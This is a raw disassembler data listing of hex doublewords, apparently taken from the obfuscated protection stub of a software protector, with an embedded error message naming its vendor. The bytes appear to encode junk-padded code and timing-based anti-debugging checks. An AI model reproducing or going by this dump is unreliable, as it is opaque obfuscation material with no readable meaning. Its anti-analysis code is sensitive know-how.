		dd 8E0F0615h, 13h, 0EE9h, 1CFFAC00h, 0BF4A0BECh, 0CE44BAF2h
		dd 50E050A7h, 0FE95250h, 63000000h, 0AB359F5Eh,	11682DBFh
		dd 36EC5948h, 310F16A1h, 10E9h,	0D93DE000h, 69269F39h
		dd 657C8148h, 0A8689EBDh, 89585ABDh, 9E92414h, 34000000h
		dd 0DB87A39Ah, 0CED4C2D7h, 244C010Fh, 51006AFEh, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
		dd 0FB45155h, 1586h, 10E900h, 0E8750000h, 1F782518h, 2B4B041Eh
		dd 6883D037h, 6A5AB317h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 6068C350h, 11E9h, 5E3DAF00h
		dd 43B0C371h, 0C2E1C3B0h, 0D6EEA0EEh, 0F18BD5AEh, 3DB86061h
		dd 8B00CA5Ch, 0C28361FAh, 0B70F6024h, 896661DFh, 6AFC72h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 9AD018C3h, 870FFCD7h, 16h, 11E9h, 9F32B000h,	90BA66B9h
		dd 4A2F3AE5h, 4138D80Bh, 0CEC14BABh, 8966F510h,	0BE90272h
		dd 0AB000000h, 0CFCC3466h, 0E2BC208Eh, 4CDB3AFh, 0AE860h
		dd 492B0000h, 15A49A17h, 945E96F6h, 815A5A56h, 0ED798AF7h
		dd 0BDE96158h, 0FC000000h, 7C9B858Bh, 60600615h, 0CE9h
		dd 0F88AED00h, 23AC8D2Ch, 0C519EAC3h, 0D78B662Dh, 0B58D6161h
		dd 6157C2Eh, 12E9h, 0F5481D00h,	0FE26DA98h, 55542166h
		dd 0A7ACF1CFh, 8D4114AEh, 15509885h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0FF96076h
		dd 48Bh, 73B86600h, 11E961B0h, 0D000000h, 0B3C3BA8Bh, 0C94AE5E0h
		dd 741C27A1h, 0B679795h, 6AD0FFh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 6660E0C3h, 654D181h
		dd 0E97447BEh, 880F6165h, 0Ch, 646CBF60h, 8166768Ah, 61C81BD3h
		dd 74A68589h, 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 5A7E10C3h, 0C70C6F1Dh, 61FCE003h
		dd 0BAB86660h, 13E80Fh,	182B0000h, 16E7650Eh, 0FEC1620Fh
		dd 41CA276Fh, 8501C5C5h, 5A58503Ch, 0A6858B61h,	60061574h
		dd 6660D68Bh, 0B70FF38Bh, 0C36161C0h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 0CCC35545h,	0E999CCFEh, 9
		dd 6AF6D185h, 2DE06BAFh, 10E960F3h, 34000000h, 41158113h
		dd 929CC49Eh, 86AB764Eh, 8041FF47h, 606126C2h, 0F95760F8h
		dd 42D2BB59h, 8361577Ah, 157C9BBDh, 850F0006h, 3Eh, 0AE9h
		dd 0D1E1D000h, 0C1F835DAh, 0C7B08134h, 157C9B85h, 1013F06h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 0F143C73h, 18Eh,	0FE9F500h, 0E9000000h
		dd 0Ah,	8100951Fh, 0BF4DB9C4h, 20CD6C9Fh, 0
		dd 3774C00Bh, 8B0C708Dh, 1574AEBDh, 8B906h, 75A60000h
		dd 0FA754922h, 8B30488Bh, 1574AA9Dh, 34583B06h,	0D38B157Fh
		dd 304D26Bh, 89018BCAh,	1574A685h, 8B04EB06h, 61C5EB00h
		dd 74A6858Bh, 0E9CF0615h, 0Ah, 3E269AC9h, 7F8229B8h, 8E0F4145h
		dd 1, 0E8C08BF8h, 10h, 1CE195B6h, 1FA9CC2Eh, 18E1F959h
		dd 222AB0F4h, 0EE95Fh, 48EB0000h, 0C4674AE3h, 0A9105757h
		dd 74315BBh, 5B25C781h,	9E90000h, 28000000h, 7A437267h
		dd 0FF9E2AF4h, 16A568h,	0CE95100h, 65000000h, 4B88BB06h
		dd 3C5F7E8Fh, 5ABF98C0h, 73E2815Eh, 8B279145h, 12F1810Fh
		dd 8B605CD5h, 3DE981D9h, 806ABE12h, 0E98126F4h,	493DD303h
		dd 8FD78A51h, 0D9EF8107h, 0FC0F86EBh, 0EBD5C781h, 81660F86h
		dd 81EE23CBh, 1EEh, 0C4850F00h,	8BFFFFFFh, 400E9D9h, 0
		dd 41330000h, 6E69206Eh, 6E726574h, 65206C61h, 70656378h
		dd 6E6F6974h, 63636F20h, 64657275h, 64412820h, 73657264h
		dd 30203A73h, 29782578h, 6C500D0Ah, 65736165h, 6F63202Ch
		dd 6361746Eh, 75732074h, 726F7070h, 726F4074h, 736E6165h
		dd 6D6F632Eh, 6854202Eh, 206B6E61h, 21756F79h, 0E4h dup(0)
		dd offset dword_55FF9C+64h
		dd offset dword_445750+0A8B0h
		dd 0
		dd 0DFE90000h, 31000010h, 122ED98Dh, 0B1858B06h, 0E9061224h
		dd 10h,	7C60BDBFh, 0E613C35Ah, 9074F952h, 0D2635E5Fh, 4244439h
		dd 93850Fh, 8B600000h, 121AB1BDh, 0BD836106h, 61230A1h
		dd 7E840F00h, 0F000000h, 78Dh, 1840F00h, 0F9000000h, 3B56858Dh
		dd 6A0612h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 11B155C3h, 2BBC37B7h, 0DE9E636h, 4A000000h
		dd 3B0DEC7Eh, 0FC2648D8h, 9D773F93h, 6AE0FFh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 8277EEC3h
		dd 0F924BCDh, 0C86h, 0BB666000h, 0BD89ABC7h, 6122FF5h
		dd 9858B61h, 60061213h,	0EE9h, 0A56B300h, 1B29CE4h, 0B9B47874h
		dd 0BF65E55Dh, 4EE30777h, 0B5896061h, 6122BF1h,	284FBE66h
		dd 24443961h, 59850F04h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 88CBC355h
		dd 8589F8FBh, 6121C11h,	819585C7h, 10615h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0EF1BADC3h, 8860C9ABh, 95893D76h, 6121AC5h, 0F9958960h
		dd 0E9061219h, 1Dh, 14E9h, 0AC087F00h, 0CEDE920Ch, 11F1FA59h
		dd 9983CF77h, 7563F7FEh, 0F0h, 1B800h, 85870000h, 6158310h
		dd 0F675C00Bh, 259B5FFh, 858F0612h, 615818Dh, 0FF6A206Ah
		dd 1B6D95FFh, 0BD830612h, 6121319h, 6A087400h, 7595FF00h
		dd 83061224h, 121B21BDh, 0D740106h, 8068h, 0FFFF6A00h
		dd 121B6D95h, 108D0F06h, 0E9000000h, 0Bh, 0ED952AD5h, 8665F7A0h
		dd 6A09BAE9h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 1A97C352h, 0FD492175h,	0F5C47AB3h
		dd 6AC02Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 3F2569C3h, 0CD76D8A9h, 8BFCF5F7h,	60282454h
		dd 68D0Fh, 0B58B0000h, 6121301h, 319D9589h, 89610612h
		dd 12009585h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 0CEBFF64Ch, 4DBB4128h, 0B589A4B9h
		dd 612305Dh, 3CBEh, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 299DF327h, 12003D9Dh
		dd 24740306h, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 150069AEh, 0C96785FAh, 5E9F844h
		dd 65000000h, 65D991D9h, 521B509h, 0AD660612h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0DEC35040h, 0CAB889FBh
		dd 0F5DEE47Ch, 3880F60h, 80000000h, 8B664AC2h, 440361DFh
		dd 7E92424h, 0C000000h,	496DF7B8h, 0F50BF11h, 1286h, 50525000h
		dd 5A310F52h, 0F310F58h, 80h, 89585A00h, 830F2404h, 1
		dd 78408BF9h, 21B53360h, 5606122Ch, 59F2B70Fh, 95BD8361h
		dd 61581h, 0D3850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 425D04C3h, 13E950h, 94C60000h
		dd 779D1B4Bh, 19CE9EEBh, 0D385EE61h, 0F72D1C8Eh, 240489C8h
		dd 30059589h, 448B0612h, 85012C24h, 6120335h, 0D8F0F50h
		dd 0E9000000h, 8, 3165C884h, 5D34FDD0h,	6A240489h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 31DFC351h, 4370348Ah, 800FEAF0h, 1, 30858DF5h, 6A061551h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 0FF43C352h, 56006AD0h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 8978C61Ah
		dd 120031B5h, 24440306h, 408BF528h, 14E918h, 8F150000h
		dd 42725498h, 8AC75DD3h, 1649984Ah, 88075869h, 6A40E097h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0FB1C353h, 22CB86D7h, 0FC609C3Eh,	2D818D89h
		dd 0F610612h, 178Ch, 12E900h, 70360000h, 58C95355h, 4D7893E7h
		dd 0B590EA08h, 52F46208h, 81918589h, 860F0615h,	0Ch, 6860Fh
		dd 880F0000h, 0
		dd 708BF858h, 52006A78h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 5C78CC2Fh, 0E99E4CFFh, 0BF666022h
		dd 0ECB5D0AAh, 1CC68361h, 5C99589h, 89960612h, 122AC98Dh
		dd 247C8106h, 24h, 0B2870F10h, 0F000000h, 68Fh,	91B53100h
		dd 90061209h, 0BE9h, 9B76FE00h,	48877A4Ch, 0EAE498FFh
		dd 0C870F50h, 0F000000h, 686h, 0F525000h, 90585A31h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 9CC35646h, 1739A1A3h
		dd 24448B4Ah, 68A0F28h,	89000000h, 1220018Dh, 0AE99006h
		dd 0F000000h, 7536A8FBh, 5E2743F5h, 525050BBh, 0EE9h, 7AF74F00h
		dd 8E244E30h, 86E3E4EFh, 0F1E6A4Fh, 61606031h, 90585A61h
		dd 8E9h, 109AEB00h, 2F5EF352h, 30858D2Eh, 29061551h, 1225E1B5h
		dd 9D0FF06h, 12043595h,	0BD299606h, 6120E5Dh, 24247403h
		dd 9E9h, 0AEC4A000h, 0D869961Bh, 0BD8D2536h, 6120FA1h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 1EC35646h
		dd 8F0F4DF1h, 0Eh, 8B0F60h, 89000000h, 120989BDh, 6AAD6106h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 687AC350h, 0D49063A4h, 6880Fh, 0BD290000h
		dd 6120F7Dh, 35A19D29h,	7C810612h, 2424h, 870F1000h, 153h
		dd 0CCB65660h, 182ABA58h, 906155A7h, 168D0Fh, 11E90000h
		dd 37000000h, 8D6BFA3Bh, 516DCF81h, 0CCC8D57Ch,	52488483h
		dd 0EE86050h, 72000000h, 5491DAF5h, 6AF6D185h, 2DE06BAFh
		dd 5B6160F3h, 0DCBBBE66h, 6A9061h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 0CC3B11C3h, 0CDB52924h
		dd 8B061211h, 6A282444h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 95FBC355h, 60C38BD4h
		dd 61CBB70Fh, 12800Fh, 0DE90000h, 0F8000000h, 0B21132BAh
		dd 8360CA64h, 767FDD78h, 0E8606090h, 0Fh, 0F760A78h, 16695CC2h
		dd 90FD5449h, 5AC7382Eh, 0DBE6B866h, 10E95761h,	0E000000h
		dd 0DCC45E06h, 59EC6A35h, 12B395F8h, 5A2A5FFCh,	52505061h
		dd 6800Fh, 52500000h, 585A310Fh, 7E9310Fh, 16000000h, 832FA93Ch
		dd 585A1139h, 9D896090h, 6123015h, 10ED8D8Bh, 89610612h
		dd 12100DBDh, 30858D06h, 6A061551h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 391BC351h
		dd 0EE9h, 74E76300h, 0B9F94176h, 554254A8h, 0FF4A08ADh
		dd 1DBD01D0h, 3061220h,	6A242444h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0D12BC357h
		dd 6D87557Ch, 8D0F09D9h, 16h, 11E9h, 97B99E00h,	7427491Bh
		dd 82525936h, 29EF095Ah, 89ABD91Fh, 1223C9B5h, 0FA8106h
		dd 0F000100h, 6F382h, 1830F00h,	0F9000000h, 12F5BD8Dh
		dd 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 14D6E4C3h, 8E9h, 29160900h, 8DE48120h, 79BD89D4h
		dd 0AD06121Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	0D4C35646h, 0BBD0DFA4h,	9D8904E2h, 6121AE9h, 24247C81h
		dd 10000000h, 0C7870Fh,	6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 9BCEB0C3h, 22618524h
		dd 0AE990F8h, 0A9000000h, 683A4436h, 0B81B0864h, 11E9501Ch
		dd 4C000000h, 0E2279755h, 0FDD3E278h, 4A1289C5h, 1C48FE30h
		dd 0BD8D8990h, 8B061202h, 6A282444h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0AF71C353h
		dd 29A09748h, 120FD99Dh, 1880F06h, 0F8000000h, 0B8C0F50h
		dd 60000000h, 8C0Fh, 8B660000h,	48961F7h, 0B5896024h, 61235B1h
		dd 26ED8589h, 8D610612h, 15513085h, 0BD8B6006h,	61234F9h
		dd 68A0Fh, 95290000h, 61226D5h,	89D0FF61h, 122AF5BDh, 24440306h
		dd 51006A24h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 0A535391Fh, 30CDB501h, 60900612h, 13E9h
		dd 0CF924F00h, 2A6629F4h, 24222998h, 0B209C7E2h, 3083D80Ch
		dd 5061D88Bh, 1C840Fh, 0E8600000h, 12h,	0FEC03223h, 0DF188258h
		dd 85ED38A4h, 2371BE50h, 605A0E36h, 89906161h, 12346D9Dh
		dd 8E9AB06h, 0BE000000h, 209A1BB2h, 8DB151C8h, 121271BDh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 0D12E9B48h, 6E9B169h, 0B6000000h, 0F483733h
		dd 89F5AD64h, 12256195h, 247C8106h, 28h, 15870F10h, 6A000001h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 11BCC356h, 0B3E12214h, 808BA33Eh,	1275B589h
		dd 11E90612h, 0B1000000h, 294C006Ah, 1E0E834Eh,	59E50A5h
		dd 302644D2h, 9E950h, 84F0000h,	0A8A871Ch, 894A92E0h, 1602404h
		dd 1213358Dh, 0E9BD8906h, 6106120Ah, 2C24448Bh,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 3CC35545h, 1EBE6660h
		dd 0EDBD8B47h, 61061212h, 840F50FCh, 10h, 0A880Fh, 5E90000h
		dd 71000000h, 0CDD1F8Dh, 60240489h, 1C5DBD8Bh, 0B5290612h
		dd 61201D9h, 30858D61h,	6A061551h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0F489C350h
		dd 23FAC3B3h, 4995EE71h, 6860Fh, 85290000h, 6121B01h, 6AD0FFh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0DD6BFC3h, 0B529B20Dh, 6122361h, 28244403h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 8EC35747h, 5E96036h
		dd 4D000000h, 9B02BB30h, 2FD59501h, 89610612h, 12307985h
		dd 6AAB06h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 2BF933C3h, 563520DDh, 8960A6F4h, 12096DB5h
		dd 37D48006h, 9E961h, 0E1090000h, 0E69C58C8h, 5E3F3AD5h
		dd 81918DFFh, 0BD830615h, 6158191h, 330A7500h, 0CAB58DC0h
		dd 0FF06158Fh, 81AD56E6h, 28247Ch, 77100000h, 448B500Eh
		dd 8D502C24h, 15513085h, 3D0FF06h, 97282444h, 858ADF8Bh
		dd 615818Dh, 474C084h, 4C75073Ah, 0AEC03257h, 2B5EFD75h
		dd 33FC52FBh, 0D18B49C9h, 0DB33C033h, 8AC132ACh, 8AEA8ACDh
		dd 6608B6D6h, 0D166EBD1h, 660973D8h, 66504135h,	5449F381h
		dd 0EB75CEFEh, 0D333C833h, 0F7D5754Fh, 8BD1F7D2h, 10C0C1C2h
		dd 5AC18B66h, 0F74D03Bh, 4C6835Eh, 9585FFh, 5DE90612h
		dd 5EFFFFFFh, 50006AF9h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 0F4CAA0AAh, 52719F7Ah, 1850Fh, 8BF50000h
		dd 12009585h, 0E0D1F506h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 0DEC35747h, 2585898Dh, 29061226h, 120E9185h
		dd 71850306h, 60061212h, 0ABACBB5h, 6147C8FAh, 0BEh, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 9416EA5Eh
		dd 6A96DBh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 603C94C3h, 10E976B0h, 0F9000000h,	7DCDF413h
		dd 677612DDh, 7D74660h,	61A85651h, 8B0FAD66h, 6, 498509h
		dd 0E0C10612h, 6850F02h, 89000000h, 1201D9BDh, 0A1850306h
		dd 6A06120Fh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 9F65C352h, 609932B2h, 41BD89F5h
		dd 6106122Dh, 34B86660h, 61FE8B29h, 52006A96h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0BAAE7559h
		dd 823C8108h, 0B2604514h, 2DB58911h, 61061212h,	12E9ADh
		dd 2DA60000h, 8C87FEA9h, 761A8E29h, 58139D9Fh, 0EA1BA201h
		dd 24247C81h, 10000000h, 8F870Fh, 8F0F0000h, 1,	525050F8h
		dd 0F616060h, 86h, 310F6100h, 61605250h, 5250310Fh, 585A310Fh
		dd 585A585Ah, 9240489h,	12064985h, 24448B06h, 999D0928h
		dd 90061215h, 66CF8B60h, 5061F28Bh, 0B0605250h,	310F618Bh
		dd 7E860h, 45BD0000h, 0FDFA1D87h, 0D9BB5FA6h, 61493C75h
		dd 0F990585Ah, 5130858Dh, 6A0615h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 3D9990C3h, 0E5129298h
		dd 0D0FF8EA4h, 244403FCh, 9D896024h, 6122559h, 32D5BD89h
		dd 89610612h, 6A1C2444h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 5834C350h, 958B6068h
		dd 6122549h, 0FDDBD89h,	0E9610612h, 9, 51675D33h, 7B8BC36h
		dd 5985C628h, 61202h, 831085C7h, 615h, 85C70000h, 6158195h
		dd 0
		dd 0D8B0Fh, 9600000h, 122329BDh, 14A9BE06h, 8961767Bh
		dd 122A31B5h, 0B5896106h, 6120531h, 2ED9501h, 8C20612h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 0DB2D1860h, 6880Fh, 95290000h, 6122E1Dh
		dd 0FA1858Bh, 9D290612h, 6120559h, 0D26BF84Ah, 0C203FC04h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 43C35141h
		dd 7880FF3h, 0F000000h,	183h, 0DE9FC00h, 0EF000000h, 284D98CEh
		dd 93B6A156h, 5F83D559h, 71958996h, 0FC06120Fh,	8D2960ADh
		dd 6122A35h, 61D08B66h,	24247C81h, 10000000h, 154870Fh
		dd 80600000h, 8D2997D4h, 6122515h, 0FDBD2961h, 50061201h
		dd 66605250h, 0C18BC28Bh, 60310F61h, 12E8h, 0C240E800h
		dd 0A031D557h, 24ECE74Bh, 4AAA9B84h, 5F2F2338h,	5A6109B1h
		dd 24048958h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 19h,	14C35141h, 561A6EFAh, 9E963h, 0AF030000h, 0E0A3CDEAh
		dd 8B0358B5h, 6A282444h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 2DA5C351h, 9D8984E6h
		dd 6120559h, 0F525090h,	68Bh, 0F525000h, 0F585A31h, 8E86031h
		dd 79000000h, 2FB6D54Ah, 5A3E6E56h, 5A615A50h, 10E95058h
		dd 0B0000000h, 7B15836Bh, 0DD84B6A8h, 0E7989813h, 90654353h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 7DC35040h
		dd 0B1CAC38h, 0CFAE309Ah, 6800Fh, 0B5010000h, 61223D5h
		dd 5130858Dh, 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 189905C3h, 4C511DFCh, 0D0FFF828h
		dd 0B880Fh, 66600000h, 9D89D88Bh, 6122ECDh, 10E961h, 0F8890000h
		dd 0EA9825h, 0AD817BCCh, 36AEF9BCh, 76E903A3h, 6AFFFFFDh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 0EE52C357h, 6830Fh, 95290000h, 61226F9h
		dd 0CE9F5h, 65D60000h, 23220E7Fh, 4246C19h, 858DD8E9h
		dd 61595CAh, 3A4CBB60h,	0E9604A25h, 12h, 54B78827h, 7D49A113h
		dd 848AA61h, 0ECDBEE1Fh, 6161D7B8h, 0BE990h, 397F0000h
		dd 5C41E3D5h, 87577496h, 6660509Fh, 6629BBBAh, 61BFE7BBh
		dd 52006A90h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 0E9962B5Ch, 9, 0A6E9FA21h, 0F781E5F1h, 35FF640Ch
		dd 0
		dd 13DD8D29h, 48B0612h,	0DB52924h, 89061222h, 12026985h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 714B9ACCh, 98C88160h, 89323EA2h,	1204498Dh
		dd 89646106h, 25h, 14890F00h, 0E9000000h, 0Fh, 4ACBEE4Fh
		dd 0F5DB5D7Fh, 570E5AC9h, 8DFF44F1h, 15939B85h,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 0B985894Fh, 89061214h, 0E9F90160h, 270h, 30C19D31h
		dd 0DB8B0612h, 0E8h, 0ED815D00h, 6159394h, 12FF9CBCh, 21BD8300h
		dd 6121Bh, 858B1874h, 6122A25h,	8B0000C6h, 12135585h, 0C606h
		dd 66D95FFh, 0FF600612h, 157D99B5h, 9D858D06h, 5006157Dh
		dd 7F95858Dh, 0FF500615h, 12094995h, 0CC48306h,	52006A61h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 8529DE27h, 612319Dh,	30AD9D01h, 6A0612h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0C028F7C3h
		dd 95B58DD4h, 3106157Fh, 122CE985h, 820F6006h, 6, 0E5D8529h
		dd 50600612h, 13E95Ah, 76A0000h, 54577B0Ah, 187898F3h
		dd 96095395h, 371A097Fh, 8D616129h, 1227BDBDh, 0A800F06h
		dd 60000000h, 31B19D01h, 5AB50612h, 3E8061h, 74840Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0D85C43C3h, 0AED767B3h, 7E9ACC4h, 0F1000000h, 0EADCA3E9h
		dd 0E9A4A3DCh, 0Dh, 1C80F15Bh, 5493E39Fh, 8F46C84Fh, 0FFAFE943h
		dd 6AFFFFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 8938D0C3h, 9E9h, 0F35A0C00h, 0EC61E7C6h
		dd 0B87B1Eh, 6A000000h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 6074C352h, 3FC2988Dh
		dd 20999589h, 6AAA0612h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 0A165C352h,	14C90EBh
		dd 122A1185h, 7B806h, 85890000h, 61202F1h, 2E9D85C7h, 10612h
		dd 85890000h, 612088Dh,	50658D8Dh, 6A0612h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 0C9DF93C3h
		dd 2DBD3360h, 8B06120Bh, 1219C98Dh, 0B5016106h,	6120435h
		dd 6AE1FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 304CC3h, 0DDA731D2h, 31C1F284h, 121B2995h
		dd 118D0906h, 8B061224h, 550C245Ch, 0E8h, 0ED815D00h, 61595D4h
		dd 0B8838Bh, 85890000h,	6157D99h, 938D858Dh, 83890615h
		dd 0B8h, 0C3C0335Dh, 6890Fh, 0B5290000h, 6121739h, 8B6660F9h
		dd 25B58BD0h, 61061216h, 5D8D3160h, 0F506120Eh,	98A3858Dh
		dd 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 0A0CEA7C3h, 0F525090h, 1383h, 0EE900h, 0A69A0000h
		dd 61F8D5ECh, 4169811Fh, 2A278FEAh, 8F0F310Fh, 18h, 13E9h
		dd 0F4B03E00h, 0DD37AE68h, 2F44A154h, 5ED28734h, 0E1286E78h
		dd 6050585Ah, 0F6A3BE66h, 0BE85250h, 0C8000000h, 0B0BBB57h
		dd 9C496E3Bh, 0F593221h, 0DE931h, 6B190000h, 0EF6937DAh
		dd 0ED5B6489h, 5A3EB516h, 0E9906158h, 14h, 0E924FFC4h
		dd 0E0EAF838h, 6B771DB2h, 0A4146348h, 0D566AA1Fh, 35FF64h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 0FE6AC352h, 8CF035C2h,	2B74CA20h
		dd 8D8960F9h, 6122AEDh,	125DB58Bh, 64610612h, 2589h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 4B74AAC3h, 1321DFBBh, 9BD89FCh, 8D06122Eh, 15994C85h
		dd 7D8D0906h, 89061227h, 6A0160h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 0D249ECC3h, 0AACDEC0h
		dd 18A0Fh, 0E9F50000h, 0Bh, 91216D9Fh, 0C497EF1h, 0C63C3199h
		dd 12025985h, 6A4F06h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 0B3BA5BC3h, 0AA32F49h, 318D290Fh
		dd 68061203h, 0ADAF76CCh, 8E9h,	3BBF4900h, 91671DA2h, 2434815Fh
		dd 536702E6h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Ah,	4DC35141h, 0F5A00E8h, 8F0F16E6h, 7, 1810Fh, 0FFF90000h
		dd 122E69B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 0FE3FB28h, 518A3CC9h, 0D1958903h
		dd 0F061200h, 18Eh, 2960F500h, 1225D9B5h, 0BB665206h, 615BD4A0h
		dd 81A4858Dh, 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 0ADC689C3h, 1485E9BBh, 0FFF5FCF6h
		dd 0D98060D0h, 6E871h, 8B4E0000h, 0B83A18Dh, 0CFDFBF66h
		dd 0D2E9615Fh, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 0E241C353h,	8B606342h
		dd 0E9B589F8h, 61061216h, 0C245C8Bh, 0E855h, 815D0000h
		dd 1598ADEDh, 19858B06h, 8906122Eh, 122E6985h, 9858B06h
		dd 89061213h, 12351185h, 0B1858B06h, 89061224h,	12234185h
		dd 5985C606h, 61202h, 831085C7h, 615h, 858D0000h, 615994Ch
		dd 0B88389h, 335D0000h,	0EE9C3C0h, 0A1000000h, 0FC0DDF77h
		dd 4E152CA0h, 1274B3F7h, 51006A47h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 1E870F55h, 60000000h
		dd 14E85957h, 3F000000h, 0B49C66C3h, 0D8B6A48Dh, 3EA6CCFDh
		dd 179C7738h, 5F829ED7h, 0FF74BC61h, 810F0012h,	1, 8C0F60F5h
		dd 0Fh,	0AE9h, 33AF6200h, 0B773DDEh, 8BFA9977h,	1212D585h
		dd 8F646106h, 5, 0C483F800h, 659D0104h,	61061224h, 83E9h
